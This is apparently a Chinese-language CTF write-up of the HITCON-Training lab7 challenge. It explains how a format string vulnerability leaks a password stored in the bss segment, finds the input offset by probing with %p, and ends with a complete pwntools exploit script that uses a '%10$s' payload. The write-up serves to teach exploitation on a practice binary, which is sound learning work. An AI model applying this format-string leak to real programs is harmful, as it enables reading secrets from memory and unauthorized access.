HITCON-Training lab7(一道简单的格式化字符串读漏洞)

格式化字符串知道他的操作,可是做的一点也不熟练吧,,,BJDCTF上的r2t4不会啊,,,看不懂,,,所以就来补补格式化字符串的题目了,,,,

 

看到canary开启了,我还以为要泄漏canary呢,结果发现不用那么麻烦,,,

其实看下,思路很清晰,先让你输入东西,然后返回给你,然后你输入password,如果和程序中的一样,你就拿到flag了,,

所以输入的东西里面需要泄漏password的值,那要怎么做呢?

进入password里面看一下,

什么东没有,,,但是知道password在bss段以及他的地址,,,

所以我们考虑,可以将password的地址输入到name里面,那么等下输出的时候,就可以把password的地址里面的内容输出了

 

在计算一下我们输入的偏移,具体不知道,就多试几个%p咯

得到偏移是10

 

可以写exp了

#coding=utf-8
from pwn import *
p=process('./crack')

password_addr=0x0804A048

p.recvuntil("name ?")
payload=p32(password_addr)+"#"+"%10$s"+"#"#'#'是必须的,可能需要停顿一下?可以用别的字符
p.sendline(payload)
p.recvuntil("#")
io=p.recvuntil("#")

password=u32(io[:4])
p.recvuntil("password :")
p.sendline(str(password))
p.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章